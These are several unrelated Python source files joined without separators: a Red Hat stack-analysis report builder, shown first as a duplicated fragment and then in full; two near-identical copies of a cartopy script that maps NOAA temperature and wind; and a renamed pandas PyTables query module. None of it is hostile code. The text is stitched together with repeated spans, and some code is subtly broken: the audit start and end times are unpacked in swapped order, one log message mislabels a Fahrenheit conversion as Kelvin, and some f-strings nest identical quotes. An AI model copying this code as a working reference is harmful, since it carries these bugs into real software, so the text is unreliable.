self.set_average_response_time() # Get a list of unknown licenses for lic_dict in self.report_helper.flatten_list(self.all_unknown_lic): if 'license' in lic_dict: self.unknown_licenses.append(lic_dict['license']) unknown_deps_ingestion_report = UnknownDepsReportHelperV2().get_current_ingestion_status() report_content['stacks_summary'] = self.build_report_summary( unknown_deps_ingestion_report, report_content) if frequency == 'monthly': # monthly data collection on the 1st of every month self.report_helper.collate_raw_data(self.unique_stacks_with_recurrence_count, frequency) if retrain: return self.unique_stacks_with_recurrence_count venus_input = [frequency, report_name, report_content] logger.info("Venus Report Successfully Generated.") return venus_input def get_report(self, start_date, end_date, frequency='daily', retrain=False): """Generate the stacks report: Worker Report and Ingestion Report. :param start_date: Date from where to start collecting stacks. :param end_date: Date upto which to collect stacks. :param frequency: Frequency of Reporting (daily/ monthly) :param retrain: Boolean to retrain Model. :returns: Worker Results and Ingestion Results """ logger.info(f"Venus Report Triggered for freq. {frequency}") self.start_date = start_date self.end_date = end_date rds_obj = ReportQueries() ids = rds_obj.retrieve_stack_analyses_ids(start_date, end_date) worker = 'stack_aggregator_v2' # Ingestion Reporting is in v1 ingestion_results = False if not len(ids): logger.info(f'No stack analyses found from {start_date} to {end_date} ' f'to generate an aggregated report') return False, ingestion_results query_data = rds_obj.get_worker_results_v2(worker=worker, stack_ids=ids) generated_report = self.normalize_worker_data(query_data, retrain, frequency) worker_result = {} if not generated_report: logger.error(f'No v2 Stack Analyses found from {start_date} to {end_date}.') return worker_result, ingestion_results worker_result[worker] = self.create_venus_report(generated_report) return worker_result, ingestion_results def create_venus_report(self, venus_input): """Create venus report.""" # Retrieve input variables frequency = venus_input[0] report_name = venus_input[1] report_content = venus_input[2] self.save_worker_result_to_s3(frequency, report_name, report_content) return report_content @staticmethod def save_worker_result_to_s3(frequency, report_name, content) -> bool: """Save worker result in S3 bucket. :param frequency: Frequency of Reporting ( daily/ monthly) :param report_name: Name of File/ Report. :param content: File Content to be saved in S3 :return: True: Save Success, False: Saved Fail """ logger.info("Trying to save report file") try: s3 = S3Helper() obj_key = f'v2/{frequency}/{report_name}.json' s3.store_json_content(content=content, obj_key=obj_key, bucket_name=s3.report_bucket_name) logger.info(f"Successfully saved report in {obj_key}.") return True except Exception as e: logger.exception(f'Unable to store the report on S3. Reason: {e}') return False
#!/usr/bin/env python3 # Copyright © 2020 Red Hat Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # Author: Deepak Sharma <deepshar@redhat.com> # """Daily/Monthly Report Generator for Stack Analyses v2 API.""" import logging import json from helpers.cve_helper import CVE from datetime import datetime as dt from helpers.db_gateway import ReportQueries from helpers.unknown_deps_report_helper import UnknownDepsReportHelperV2 from helpers.s3_helper import S3Helper logger = logging.getLogger(__file__) logging.basicConfig(level=logging.INFO) class StackReportBuilder(): """Namespace for Report Builder v2. Build and Save Report for Stack Analyses API v2. """ def __init__(self, ReportHelper): """Build Report for v2.""" self.report_helper = ReportHelper() self.total_stack_requests = {'all': 0, 'npm': 0, 'maven': 0, 'pypi': 0} self.all_deps = {'npm': [], 'maven': [], 'pypi': []} self.all_unknown_deps = {'npm': [], 'maven': [], 'pypi': []} self.unique_stacks_with_deps_count = 0 self.unique_stacks_with_recurrence_count = 0 self.avg_response_time = {'npm': {}, 'maven': {}, 'pypi': {}} self.unknown_licenses = [] self.all_cve_list = [] self.total_response_time = {'all': 0.0, 'npm': 0.0, 'maven': 0.0, 'pypi': 0.0} self.start_date = 'YYYY-MM-DD' self.end_date = 'YYYY-MM-DD' self.stacks_list = {'npm': [], 'maven': [], 'pypi': []} self.all_unknown_lic = [] self.avg_response_time = {} @staticmethod def normalize_deps_list(dependencies) -> list: """Flatten the dependencies dict into a list. :param dependencies: dependencies from each stack :return: Normalised Dependencies in a list. """ normalized_list = [] for dependency in dependencies: normalized_list.append(f'{dependency.get("name")} {dependency.get("version")}') return sorted(normalized_list) @staticmethod def get_report_template(start_date, end_date) -> dict: """Build Venus Report Template. :param start_date: Start date of data collection :param end_date: End date of data collection :return: Template """ template = { 'report': { 'from': start_date, 'to': end_date, 'generated_on': dt.now().isoformat('T'), 'report_version': 'v2', }, 'stacks_summary': {}, 'stacks_details': [] } return template @staticmethod def get_stack_info_template() -> dict: """Build Stack Template.""" stack_info_template = { 'ecosystem': '', 'stack': [], 'unknown_dependencies': [], 'license': { 'conflict': False, 'unknown': [] }, 'public_vulnerabilities': { 'cve_list': [], }, 'private_vulnerabilities': { 'cve_list': [], }, 'response_time': '' } return stack_info_template @staticmethod def get_unknown_licenses(stack) -> list: """Fetch unknown_licenses from Stack. :param stack: stack data from DB :return: List of Unknown licenses. """ return stack.get('license_analysis', {}).get('unknown_licenses', {}).get('unknown', []) @staticmethod def get_audit_timelines(data) -> tuple: """Fetch Start date and end_date from audit key. :param data: Stack data :returns: started_at, ended_at """ started_at = data.get('_audit', {}).get('started_at') ended_at = data.get('_audit', {}).get('ended_at') return started_at, ended_at def analyse_stack(self, stacks_data, report_template) -> dict: """Analyse each stack and Build reporting parameters. :param :stacks_data: Stacks Data from DB :report_template: Report Template :return: None """ logger.info("Analysing Stack data") for stack in stacks_data: stack = stack[0] stack_info_template = self.get_stack_info_template() ecosystem = stack.get('ecosystem') analysed_dependencies = stack.get('analyzed_dependencies', []) unknown_dependencies = stack.get('unknown_dependencies', []) normalised_unknown_dependencies = self.normalize_deps_list(unknown_dependencies) unknown_licenses = self.get_unknown_licenses(stack) try: if len(analysed_dependencies) == 0: continue stack_info_template['ecosystem'] = ecosystem self.total_stack_requests['all'] += 1 self.total_stack_requests[ecosystem] += 1 stack_info_template['stack'] = self.normalize_deps_list( analysed_dependencies) self.all_deps[ecosystem].append(stack_info_template['stack']) stack_str = ','.join(stack_info_template['stack']) self.stacks_list[ecosystem].append(stack_str) stack_info_template['unknown_dependencies'] = normalised_unknown_dependencies self.all_unknown_deps[ecosystem].append(normalised_unknown_dependencies) stack_info_template['license']['unknown'] = unknown_licenses self.all_unknown_lic.append(stack_info_template['license']['unknown']) # Accumulating security information. for package in analysed_dependencies: stack_info_template = self.collate_vulnerabilites(stack_info_template, package) ended_at, started_at = self.get_audit_timelines(stack) response_time = self.report_helper.datediff_in_millisecs(started_at, ended_at) stack_info_template['response_time'] = '%f ms' % response_time self.total_response_time['all'] += response_time self.total_response_time[stack_info_template['ecosystem']] += response_time report_template['stacks_details'].append(stack_info_template) except (IndexError, KeyError, TypeError) as e: logger.exception('Error: %r' % e) continue logger.info("Stacks Analyse Completed.") return report_template def collate_vulnerabilites(self, stack_info_template, package) -> dict: """Collate Vulnerability list of Private and Public Vulnerabilities. :param :stack_info_template: Template :package: Vulnerable package :return: Stack Data template filled with data """ for vul_type in ('private_vulnerabilities', "public_vulnerabilities"): for cve_info in package.get(vul_type): stack_info_template[vul_type]['cve_list'].append(cve_info) cve_id = cve_info.get('cve_ids') cvss = cve_info.get('cvss') self.all_cve_list.append(f'{cve_id}:{cvss}') return stack_info_template def build_report_summary(self, unknown_deps_ingestion_report, report_content) -> dict: """Build Final Report Summary.""" logger.info("Building Report summary.") summary = { 'total_stack_requests_count': self.total_stack_requests['all'], 'unique_unknown_licenses_with_frequency': self.report_helper.populate_key_count(self.unknown_licenses), 'unique_cves': self.report_helper.populate_key_count(self.all_cve_list), 'total_average_response_time': '{} ms'.format( self.total_response_time['all'] / len(report_content['stacks_details'])), 'cve_report': CVE().generate_cve_report(updated_on=self.start_date) } ecosystem_summary = {ecosystem: self.report_helper.get_ecosystem_summary( ecosystem, self.total_stack_requests, self.all_deps, self.all_unknown_deps, self.unique_stacks_with_recurrence_count, self.unique_stacks_with_deps_count, self.avg_response_time, unknown_deps_ingestion_report) for ecosystem in ('npm', 'maven', 'pypi')} summary.update(ecosystem_summary) return summary def set_average_response_time(self) -> None: """Set Average Response time in self.""" logger.info("Calculating Average response time.") for ecosytem in ('npm', 'maven', 'pypi'): if self.total_stack_requests[ecosytem] > 0: self.avg_response_time[ecosytem] = \ self.total_response_time[ecosytem] / self.total_stack_requests[ecosytem] continue self.avg_response_time[ecosytem] = 0 def normalize_worker_data(self, stacks_data, retrain, frequency='daily'): """Parser for worker data for Stack Analyses v2. :arg: stacks_data: Stacks Collected from DB within time-frame. frequency: Frequency of Report ( daily/monthly ) :return: Final Venus Report Generated. """ logger.info("Normalising v2 Stack Data.") stacks_data = json.loads(stacks_data) report_name = self.report_helper.get_report_name(frequency, self.end_date) report_template = self.get_report_template(self.start_date, self.end_date) report_content = self.analyse_stack(stacks_data, report_template) self.unique_stacks_with_recurrence_count = { 'npm': self.report_helper.populate_key_count(self.stacks_list['npm']), 'maven': self.report_helper.populate_key_count(self.stacks_list['maven']), 'pypi': self.report_helper.populate_key_count(self.stacks_list['pypi']) } self.unique_stacks_with_deps_count = \ self.report_helper.set_unique_stack_deps_count(self.unique_stacks_with_recurrence_count) self.set_average_response_time() # Get a list of unknown licenses for lic_dict in self.report_helper.flatten_list(self.all_unknown_lic): if 'license' in lic_dict: self.unknown_licenses.append(lic_dict['license']) unknown_deps_ingestion_report = UnknownDepsReportHelperV2().get_current_ingestion_status() report_content['stacks_summary'] = self.build_report_summary( unknown_deps_ingestion_report, report_content) if frequency == 'monthly': # monthly data collection on the 1st of every month self.report_helper.collate_raw_data(self.unique_stacks_with_recurrence_count, frequency) if retrain: return self.unique_stacks_with_recurrence_count venus_input = [frequency, report_name, report_content] logger.info("Venus Report Successfully Generated.") return venus_input def get_report(self, start_date, end_date, frequency='daily', retrain=False): """Generate the stacks report: Worker Report and Ingestion Report. :param start_date: Date from where to start collecting stacks. :param end_date: Date upto which to collect stacks. :param frequency: Frequency of Reporting (daily/ monthly) :param retrain: Boolean to retrain Model. :returns: Worker Results and Ingestion Results """ logger.info(f"Venus Report Triggered for freq. {frequency}") self.start_date = start_date self.end_date = end_date rds_obj = ReportQueries() ids = rds_obj.retrieve_stack_analyses_ids(start_date, end_date) worker = 'stack_aggregator_v2' # Ingestion Reporting is in v1 ingestion_results = False if not len(ids): logger.info(f'No stack analyses found from {start_date} to {end_date} ' f'to generate an aggregated report') return False, ingestion_results query_data = rds_obj.get_worker_results_v2(worker=worker, stack_ids=ids) generated_report = self.normalize_worker_data(query_data, retrain, frequency) worker_result = {} if not generated_report: logger.error(f'No v2 Stack Analyses found from {start_date} to {end_date}.') return worker_result, ingestion_results worker_result[worker] = self.create_venus_report(generated_report) return worker_result, ingestion_results def create_venus_report(self, venus_input): """Create venus report.""" # Retrieve input variables frequency = venus_input[0] report_name = venus_input[1] report_content = venus_input[2] self.save_worker_result_to_s3(frequency, report_name, report_content) return report_content @staticmethod def save_worker_result_to_s3(frequency, report_name, content) -> bool: """Save worker result in S3 bucket. :param frequency: Frequency of Reporting ( daily/ monthly) :param report_name: Name of File/ Report. :param content: File Content to be saved in S3 :return: True: Save Success, False: Saved Fail """ logger.info("Trying to save report file") try: s3 = S3Helper() obj_key = f'v2/{frequency}/{report_name}.json' s3.store_json_content(content=content, obj_key=obj_key, bucket_name=s3.report_bucket_name) logger.info(f"Successfully saved report in {obj_key}.") return True except Exception as e: logger.exception(f'Unable to store the report on S3. Reason: {e}') return False
import datetime import logging import cartopy.crs as ccrs import cartopy.feature as cfeature import numpy as np import matplotlib.pyplot as plt from netCDF4 import Dataset logging.basicConfig() logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) DIFF = 0.25 SKIP = 15 LONLAT = (-77.28, 39.14) GO_OUT_LONLAT = (3, 1.5) DAY = datetime.datetime.utcnow() - datetime.timedelta(hours=1) if LONLAT: extent = ( LONLAT[0] - GO_OUT_LONLAT[0], LONLAT[0] + GO_OUT_LONLAT[0], LONLAT[1] - GO_OUT_LONLAT[1], LONLAT[1] + GO_OUT_LONLAT[1] ) else: extent = (-109.291992, -101.887207, 36.862043, 41.393294) fig: plt.Figure = plt.figure(figsize=(12, 6)) ax: plt.Axes = fig.add_subplot(1, 1, 1, projection=ccrs.PlateCarree()) ax.set_extent(extent) ax.add_feature(cfeature.LAND.with_scale("10m"), zorder=100) ax.add_feature(cfeature.OCEAN.with_scale("10m"), zorder=200) ax.add_feature(cfeature.STATES.with_scale("10m"), lw=1.25, zorder=300) logger.info("CartoPy setting up finished.") date_fmt = DAY.strftime('%Y%m%d') meso_data = Dataset( ( f"http://nomads.ncep.noaa.gov/dods/rtma2p5/" f"rtma2p5{date_fmt}/rtma2p5_anl_{DAY.strftime("%H")}z" ) ) logger.info("RTMA data fetched.") temp_data = meso_data.variables["tmp2m"][0][:] logger.info("Temperature data acquired.") wind_data_u = meso_data.variables["ugrd10m"][0][:] logger.info("U component of wind data acquired.") wind_data_v = meso_data.variables["vgrd10m"][0][:] logger.info("V component of wind data acquired.") lons = meso_data.variables["lon"][:] lats = meso_data.variables["lat"][:] slo, elo, sla, ela = (extent[0] - DIFF, extent[1] + DIFF, extent[2] - DIFF, extent[3] + DIFF) home_lat = np.where( np.logical_and(np.greater_equal(lats, sla), np.less_equal(lats, ela)) )[0] all_lats = np.array([lats[lat] for lat in home_lat]) home_lon = np.where( np.logical_and(np.greater_equal(lons, slo), np.less_equal(lons, elo)) )[0] all_lons = np.array([lons[lon] for lon in home_lon]) temp_data = [[1.8 * (temp_data[lat, lon] - 273) + 32 for lon in home_lon] for lat in home_lat] logger.info("Temperature data converted to Kelvin.") u_comp_data = np.array([[wind_data_u[lat, lon] * 1.94384449 for lon in home_lon[::SKIP]] for lat in home_lat[::SKIP]]) logger.info("U wind data clipped to specified lons/lats") v_comp_data = np.array([[wind_data_v[lat, lon] * 1.94384449 for lon in home_lon[::SKIP]] for lat in home_lat[::SKIP]]) logger.info("U wind data clipped to specified lons/lats") lons_, lats_ = np.meshgrid(all_lons, all_lats) lons_less, lats_less = np.meshgrid(all_lons[::SKIP], all_lats[::SKIP]) C = ax.contourf( lons_, lats_, temp_data, cmap="coolwarm", transform=ccrs.PlateCarree(), zorder=150 ) ax.barbs( lons_less, lats_less, u_comp_data, v_comp_data, transform=ccrs.PlateCarree(0), zorder=155 ) fig.colorbar(C) plt.show()
import datetime import logging import cartopy.crs as ccrs import cartopy.feature as cfeature import numpy as np import matplotlib.pyplot as plt from netCDF4 import Dataset logging.basicConfig() logger = logging.getLogger(__name__) logger.setLevel(logging.INFO) DIFF = 0.25 SKIP = 15 LONLAT = (-77.28, 39.14) GO_OUT_LONLAT = (3, 1.5) DAY = datetime.datetime.utcnow() - datetime.timedelta(hours=1) if LONLAT: extent = ( LONLAT[0] - GO_OUT_LONLAT[0], LONLAT[0] + GO_OUT_LONLAT[0], LONLAT[1] - GO_OUT_LONLAT[1], LONLAT[1] + GO_OUT_LONLAT[1] ) else: extent = (-109.291992, -101.887207, 36.862043, 41.393294) fig: plt.Figure = plt.figure(figsize=(12, 6)) ax: plt.Axes = fig.add_subplot(1, 1, 1, projection=ccrs.PlateCarree()) ax.set_extent(extent) ax.add_feature(cfeature.LAND.with_scale("10m"), zorder=100) ax.add_feature(cfeature.OCEAN.with_scale("10m"), zorder=200) ax.add_feature(cfeature.STATES.with_scale("10m"), lw=1.25, zorder=300) logger.info("CartoPy setting up finished.") date_fmt = DAY.strftime('%Y%m%d') meso_data = Dataset( ( f"http://nomads.ncep.noaa.gov/dods/rtma2p5/" f"rtma2p5{date_fmt}/rtma2p5_anl_{DAY.strftime('%H')}z" ) ) logger.info("RTMA data fetched.") temp_data = meso_data.variables["tmp2m"][0][:] logger.info("Temperature data acquired.") wind_data_u = meso_data.variables["ugrd10m"][0][:] logger.info("U component of wind data acquired.") wind_data_v = meso_data.variables["vgrd10m"][0][:] logger.info("V component of wind data acquired.") lons = meso_data.variables["lon"][:] lats = meso_data.variables["lat"][:] slo, elo, sla, ela = (extent[0] - DIFF, extent[1] + DIFF, extent[2] - DIFF, extent[3] + DIFF) home_lat = np.where( np.logical_and(np.greater_equal(lats, sla), np.less_equal(lats, ela)) )[0] all_lats = np.array([lats[lat] for lat in home_lat]) home_lon = np.where( np.logical_and(np.greater_equal(lons, slo), np.less_equal(lons, elo)) )[0] all_lons = np.array([lons[lon] for lon in home_lon]) temp_data = [[1.8 * (temp_data[lat, lon] - 273) + 32 for lon in home_lon] for lat in home_lat] logger.info("Temperature data converted to Kelvin.") u_comp_data = np.array([[wind_data_u[lat, lon] * 1.94384449 for lon in home_lon[::SKIP]] for lat in home_lat[::SKIP]]) logger.info("U wind data clipped to specified lons/lats") v_comp_data = np.array([[wind_data_v[lat, lon] * 1.94384449 for lon in home_lon[::SKIP]] for lat in home_lat[::SKIP]]) logger.info("U wind data clipped to specified lons/lats") lons_, lats_ = np.meshgrid(all_lons, all_lats) lons_less, lats_less = np.meshgrid(all_lons[::SKIP], all_lats[::SKIP]) C = ax.contourf( lons_, lats_, temp_data, cmap="coolwarm", transform=ccrs.PlateCarree(), zorder=150 ) ax.barbs( lons_less, lats_less, u_comp_data, v_comp_data, transform=ccrs.PlateCarree(0), zorder=155 ) fig.colorbar(C) plt.show()
""" manage PyTables query interface via Expressions """ import ast from functools import partial from typing import Any, Dict, Optional, Tuple import numpy as np from my_happy_pandas._libs.tslibs import Timedelta, Timestamp from my_happy_pandas.compat.chainmap import DeepChainMap from my_happy_pandas.core.dtypes.common import is_list_like import my_happy_pandas as pd import my_happy_pandas.core.common as com from my_happy_pandas.core.computation import expr, ops, scope as _scope from my_happy_pandas.core.computation.common import _ensure_decoded from my_happy_pandas.core.computation.expr import BaseExprVisitor from my_happy_pandas.core.computation.ops import UndefinedVariableError, is_term from my_happy_pandas.core.construction import extract_array from my_happy_pandas.io.formats.printing import pprint_thing, pprint_thing_encoded class PyTablesScope(_scope.Scope): __slots__ = ("queryables",) queryables: Dict[str, Any] def __init__( self, level: int, global_dict=None, local_dict=None, queryables: Optional[Dict[str, Any]] = None, ): super().__init__(level + 1, global_dict=global_dict, local_dict=local_dict) self.queryables = queryables or dict() class Term(ops.Term): env: PyTablesScope def __new__(cls, name, env, side=None, encoding=None): klass = Constant if not isinstance(name, str) else cls return object.__new__(klass) def __init__(self, name, env: PyTablesScope, side=None, encoding=None): super().__init__(name, env, side=side, encoding=encoding) def _resolve_name(self): # must be a queryables if self.side == "left": # Note: The behavior of __new__ ensures that self.name is a str here if self.name not in self.env.queryables: raise NameError(f"name {repr(self.name)} is not defined") return self.name # resolve the rhs (and allow it to be None) try: return self.env.resolve(self.name, is_local=False) except UndefinedVariableError: return self.name # read-only property overwriting read/write property @property # type: ignore def value(self): return self._value class Constant(Term): def __init__(self, value, env: PyTablesScope, side=None, encoding=None): assert isinstance(env, PyTablesScope), type(env) super().__init__(value, env, side=side, encoding=encoding) def _resolve_name(self): return self._name class BinOp(ops.BinOp): _max_selectors = 31 op: str queryables: Dict[str, Any] def __init__(self, op: str, lhs, rhs, queryables: Dict[str, Any], encoding): super().__init__(op, lhs, rhs) self.queryables = queryables self.encoding = encoding self.condition = None def _disallow_scalar_only_bool_ops(self): pass def prune(self, klass): def pr(left, right): """ create and return a new specialized BinOp from myself """ if left is None: return right elif right is None: return left k = klass if isinstance(left, ConditionBinOp): if isinstance(right, ConditionBinOp): k = JointConditionBinOp elif isinstance(left, k): return left elif isinstance(right, k): return right elif isinstance(left, FilterBinOp): if isinstance(right, FilterBinOp): k = JointFilterBinOp elif isinstance(left, k): return left elif isinstance(right, k): return right return k( self.op, left, right, queryables=self.queryables, encoding=self.encoding ).evaluate() left, right = self.lhs, self.rhs if is_term(left) and is_term(right): res = pr(left.value, right.value) elif not is_term(left) and is_term(right): res = pr(left.prune(klass), right.value) elif is_term(left) and not is_term(right): res = pr(left.value, right.prune(klass)) elif not (is_term(left) or is_term(right)): res = pr(left.prune(klass), right.prune(klass)) return res def conform(self, rhs): """ inplace conform rhs """ if not is_list_like(rhs): rhs = [rhs] if isinstance(rhs, np.ndarray): rhs = rhs.ravel() return rhs @property def is_valid(self) -> bool: """ return True if this is a valid field """ return self.lhs in self.queryables @property def is_in_table(self) -> bool: """ return True if this is a valid column name for generation (e.g. an actual column in the table) """ return self.queryables.get(self.lhs) is not None @property def kind(self): """ the kind of my field """ return getattr(self.queryables.get(self.lhs), "kind", None) @property def meta(self): """ the meta of my field """ return getattr(self.queryables.get(self.lhs), "meta", None) @property def metadata(self): """ the metadata of my field """ return getattr(self.queryables.get(self.lhs), "metadata", None) def generate(self, v) -> str: """ create and return the op string for this TermValue """ val = v.tostring(self.encoding) return f"({self.lhs} {self.op} {val})" def convert_value(self, v) -> "TermValue": """ convert the expression that is in the term to something that is accepted by pytables """ def stringify(value): if self.encoding is not None: encoder = partial(pprint_thing_encoded, encoding=self.encoding) else: encoder = pprint_thing return encoder(value) kind = _ensure_decoded(self.kind) meta = _ensure_decoded(self.meta) if kind == "datetime64" or kind == "datetime": if isinstance(v, (int, float)): v = stringify(v) v = _ensure_decoded(v) v = Timestamp(v) if v.tz is not None: v = v.tz_convert("UTC") return TermValue(v, v.value, kind) elif kind == "timedelta64" or kind == "timedelta": if isinstance(v, str): v = Timedelta(v).value else: v = Timedelta(v, unit="s").value return TermValue(int(v), v, kind) elif meta == "category": metadata = extract_array(self.metadata, extract_numpy=True) result = metadata.searchsorted(v, side="left") # result returns 0 if v is first element or if v is not in metadata # check that metadata contains v if not result and v not in metadata: result = -1 return TermValue(result, result, "integer") elif kind == "integer": v = int(float(v)) return TermValue(v, v, kind) elif kind == "float": v = float(v) return TermValue(v, v, kind) elif kind == "bool": if isinstance(v, str): v = not v.strip().lower() in [ "false", "f", "no", "n", "none", "0", "[]", "{}", "", ] else: v = bool(v) return TermValue(v, v, kind) elif isinstance(v, str): # string quoting return TermValue(v, stringify(v), "string") else: raise TypeError(f"Cannot compare {v} of type {type(v)} to {kind} column") def convert_values(self): pass class FilterBinOp(BinOp): filter: Optional[Tuple[Any, Any, pd.Index]] = None def __repr__(self) -> str: if self.filter is None: return "Filter: Not Initialized" return pprint_thing(f"[Filter : [{self.filter[0]}] -> [{self.filter[1]}]") def invert(self): """ invert the filter """ if self.filter is not None: f = list(self.filter) f[1] = self.generate_filter_op(invert=True) self.filter = tuple(f) return self def format(self): """ return the actual filter format """ return [self.filter] def evaluate(self): if not self.is_valid: raise ValueError(f"query term is not valid [{self}]") rhs = self.conform(self.rhs) values = list(rhs) if self.is_in_table: # if too many values to create the expression, use a filter instead if self.op in ["==", "!="] and len(values) > self._max_selectors: filter_op = self.generate_filter_op() self.filter = (self.lhs, filter_op, pd.Index(values)) return self return None # equality conditions if self.op in ["==", "!="]: filter_op = self.generate_filter_op() self.filter = (self.lhs, filter_op, pd.Index(values)) else: raise TypeError( f"passing a filterable condition to a non-table indexer [{self}]" ) return self def generate_filter_op(self, invert: bool = False): if (self.op == "!=" and not invert) or (self.op == "==" and invert): return lambda axis, vals: ~axis.isin(vals) else: return lambda axis, vals: axis.isin(vals) class JointFilterBinOp(FilterBinOp): def format(self): raise NotImplementedError("unable to collapse Joint Filters") def evaluate(self): return self class ConditionBinOp(BinOp): def __repr__(self) -> str: return pprint_thing(f"[Condition : [{self.condition}]]") def invert(self): """ invert the condition """ # if self.condition is not None: # self.condition = "~(%s)" % self.condition # return self raise NotImplementedError( "cannot use an invert condition when passing to numexpr" ) def format(self): """ return the actual ne format """ return self.condition def evaluate(self): if not self.is_valid: raise ValueError(f"query term is not valid [{self}]") # convert values if we are in the table if not self.is_in_table: return None rhs = self.conform(self.rhs) values = [self.convert_value(v) for v in rhs] # equality conditions if self.op in ["==", "!="]: # too many values to create the expression? if len(values) <= self._max_selectors: vs = [self.generate(v) for v in values] self.condition = f"({" | ".join(vs)})" # use a filter after reading else: return None else: self.condition = self.generate(values[0]) return self class JointConditionBinOp(ConditionBinOp): def evaluate(self): self.condition = f"({self.lhs.condition} {self.op} {self.rhs.condition})" return self class UnaryOp(ops.UnaryOp): def prune(self, klass): if self.op != "~": raise NotImplementedError("UnaryOp only support invert type ops") operand = self.operand operand = operand.prune(klass) if operand is not None: if issubclass(klass, ConditionBinOp): if operand.condition is not None: return operand.invert() elif issubclass(klass, FilterBinOp): if operand.filter is not None: return operand.invert() return None class PyTablesExprVisitor(BaseExprVisitor): const_type = Constant term_type = Term def __init__(self, env, engine, parser, **kwargs): super().__init__(env, engine, parser) for bin_op in self.binary_ops: bin_node = self.binary_op_nodes_map[bin_op] setattr( self, f"visit_{bin_node}", lambda node, bin_op=bin_op: partial(BinOp, bin_op, **kwargs), ) def visit_UnaryOp(self, node, **kwargs): if isinstance(node.op, (ast.Not, ast.Invert)): return UnaryOp("~", self.visit(node.operand)) elif isinstance(node.op, ast.USub): return self.const_type(-self.visit(node.operand).value, self.env) elif isinstance(node.op, ast.UAdd): raise NotImplementedError("Unary addition not supported") def visit_Index(self, node, **kwargs): return self.visit(node.value).value def visit_Assign(self, node, **kwargs): cmpr = ast.Compare( ops=[ast.Eq()], left=node.targets[0], comparators=[node.value] ) return self.visit(cmpr) def visit_Subscript(self, node, **kwargs): # only allow simple subscripts value = self.visit(node.value) slobj = self.visit(node.slice) try: value = value.value except AttributeError: pass if isinstance(slobj, Term): # In py39 np.ndarray lookups with Term containing int raise slobj = slobj.value try: return self.const_type(value[slobj], self.env) except TypeError as err: raise ValueError( f"cannot subscript {repr(value)} with {repr(slobj)}" ) from err def visit_Attribute(self, node, **kwargs): attr = node.attr value = node.value ctx = type(node.ctx) if ctx == ast.Load: # resolve the value resolved = self.visit(value) # try to get the value to see if we are another expression try: resolved = resolved.value except (AttributeError): pass try: return self.term_type(getattr(resolved, attr), self.env) except AttributeError: # something like datetime.datetime where scope is overridden if isinstance(value, ast.Name) and value.id == attr: return resolved raise ValueError(f"Invalid Attribute context {ctx.__name__}") def translate_In(self, op): return ast.Eq() if isinstance(op, ast.In) else op def _rewrite_membership_op(self, node, left, right): return self.visit(node.op), node.op, left, right def _validate_where(w): """ Validate that the where statement is of the right type. The type may either be String, Expr, or list-like of Exprs. Parameters ---------- w : String term expression, Expr, or list-like of Exprs. Returns ------- where : The original where clause if the check was successful. Raises ------ TypeError : An invalid data type was passed in for w (e.g. dict). """ if not (isinstance(w, (PyTablesExpr, str)) or is_list_like(w)): raise TypeError( "where must be passed as a string, PyTablesExpr, " "or list-like of PyTablesExpr" ) return w class PyTablesExpr(expr.Expr): """ Hold a pytables-like expression, comprised of possibly multiple 'terms'. Parameters ---------- where : string term expression, PyTablesExpr, or list-like of PyTablesExprs queryables : a "kinds" map (dict of column name -> kind), or None if column is non-indexable encoding : an encoding that will encode the query terms Returns ------- a PyTablesExpr object Examples -------- 'index>=date' "columns=['A', 'D']" 'columns=A' 'columns==A' "~(columns=['A','B'])" 'index>df.index[3] & string="bar"' '(index>df.index[3] & index<=df.index[6]) | string="bar"' "ts>=Timestamp('2012-02-01')" "major_axis>=20130101" """ _visitor: Optional[PyTablesExprVisitor] env: PyTablesScope def __init__( self, where, queryables: Optional[Dict[str, Any]] = None, encoding=None, scope_level: int = 0, ): where = _validate_where(where) self.encoding = encoding self.condition = None self.filter = None self.terms = None self._visitor = None # capture the environment if needed local_dict: DeepChainMap[Any, Any] = DeepChainMap() if isinstance(where, PyTablesExpr): local_dict = where.env.scope _where = where.expr elif isinstance(where, (list, tuple)): where = list(where) for idx, w in enumerate(where): if isinstance(w, PyTablesExpr): local_dict = w.env.scope else: w = _validate_where(w) where[idx] = w _where = " & ".join((f"({w})" for w in com.flatten(where))) else: _where = where self.expr = _where self.env = PyTablesScope(scope_level + 1, local_dict=local_dict) if queryables is not None and isinstance(self.expr, str): self.env.queryables.update(queryables) self._visitor = PyTablesExprVisitor( self.env, queryables=queryables, parser="pytables", engine="pytables", encoding=encoding, ) self.terms = self.parse() def __repr__(self) -> str: if self.terms is not None: return pprint_thing(self.terms) return pprint_thing(self.expr) def evaluate(self): """ create and return the numexpr condition and filter """ try: self.condition = self.terms.prune(ConditionBinOp) except AttributeError as err: raise ValueError( f"cannot process expression [{self.expr}], [{self}] " "is not a valid condition" ) from err try: self.filter = self.terms.prune(FilterBinOp) except AttributeError as err: raise ValueError( f"cannot process expression [{self.expr}], [{self}] " "is not a valid filter" ) from err return self.condition, self.filter class TermValue: """ hold a term value the we use to construct a condition/filter """ def __init__(self, value, converted, kind: str): assert isinstance(kind, str), kind self.value = value self.converted = converted self.kind = kind def tostring(self, encoding) -> str: """ quote the string if not encoded else encode and return """ if self.kind == "string": if encoding is not None: return str(self.converted) return f'"{self.converted}"' elif self.kind == "float": # python 2 str(float) is not always # round-trippable so use repr() return repr(self.converted) return str(self.converted) def maybe_expression(s) -> bool: """ loose checking if s is a pytables-acceptable expression """ if not isinstance(s, str): return False ops = PyTablesExprVisitor.binary_ops + PyTablesExprVisitor.unary_ops + ("=",) # make sure we have an op at least return any(op in s for op in ops)
